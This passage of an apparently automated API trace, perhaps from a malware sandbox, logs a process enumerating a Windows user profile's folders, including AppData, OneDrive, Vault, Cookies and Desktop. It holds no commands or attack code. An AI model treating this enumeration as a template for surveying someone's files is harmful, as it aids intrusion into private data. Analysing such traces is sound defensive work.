ftLastWriteTime.dwLowDateTime=0x1d332e5a, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xh-za", cAlternateFileName="")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d760772, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1d760772, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1d760772, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="yo-ng", cAlternateFileName="")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1df1ea96, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1df1ea96, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1df1ea96, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e2fe7ce, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1e2fe7ce, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1e2fe7ce, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e8ce396, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1e8ce396, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1e8ce396, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zu-za", cAlternateFileName="")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e8ce396, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1e8ce396, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1e8ce396, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zu-za", cAlternateFileName="")) returned 0 [0203.828] FindClose (in: hFindFile=0x4531e00 | out: hFindFile=0x4531e00) returned 1 [0203.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59fa41b9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x91e28c9b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e28c9b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.3.7294.0108", cAlternateFileName="173729~1.010")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f32ceb1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd897090, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xcd897090, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ef4d171, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x91e02a2a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5c25c5c7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x17b6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.exe", cAlternateFileName="")) returned 1 [0203.829] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d07569, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xe3d07569, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xb1234fa3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrivePersonal.cmd", cAlternateFileName="ONEDRI~1.CMD")) returned 1 [0203.829] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d07569, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x91e02a2a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5c6d4c59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22f6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDriveStandaloneUpdater.exe", cAlternateFileName="ONEDRI~1.EXE")) returned 1 [0203.829] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8b1c81b, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x7a48c8b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x7a48c8b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 1 [0203.829] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd358a482, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd358a482, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xd358a482, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0203.829] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd955c7b, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd4289a6f, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd4289a6f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandaloneUpdater", cAlternateFileName="STANDA~1")) returned 1 [0203.829] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8b1c81b, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x77018ce, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x77018ce, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update", cAlternateFileName="")) returned 1 [0203.829] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8b1c81b, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x77018ce, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x77018ce, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update", cAlternateFileName="")) returned 0 [0203.829] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0203.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827c2c6b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xdc6aa62a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdc6aa62a, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Outlook", cAlternateFileName="")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd63cb27, ftCreationTime.dwHighDateTime=0x1d327b2, ftLastAccessTime.dwLowDateTime=0xdd63cb27, ftLastAccessTime.dwHighDateTime=0x1d327b2, ftLastWriteTime.dwLowDateTime=0xdd63cb27, ftLastWriteTime.dwHighDateTime=0x1d327b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PenWorkspace", cAlternateFileName="PENWOR~1")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc7d69cc9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ffd581, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43ffd581, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x43ffd581, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaeec2c4, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xeaeec2c4, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0xeaeec2c4, ftLastWriteTime.dwHighDateTime=0x1d327d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc7e3414f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfcc934a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Vault", cAlternateFileName="")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee6232d, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xbee6232d, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xbee6232d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Visio", cAlternateFileName="")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa64c01, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Live", cAlternateFileName="WINDOW~3")) returned 1 [0203.832] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~2")) returned 1 [0203.833] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 1 [0203.833] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 0 [0203.833] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0203.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0203.834] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0203.834] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0203.834] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0203.834] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0203.834] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0203.834] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x17a47ce7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x17a47ce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0203.834] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0203.835] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0203.835] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0203.835] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xaa6388b1, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0xaa6388b1, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0203.835] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xaa6388b1, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0xaa6388b1, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0203.835] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0203.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0203.836] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0203.837] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xecbb6b6e, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xecbb6b6e, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roaming", cAlternateFileName="")) returned 1 [0203.837] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xecbb6b6e, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xecbb6b6e, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roaming", cAlternateFileName="")) returned 0 [0203.837] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0203.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf214f88f, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf214f88f, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 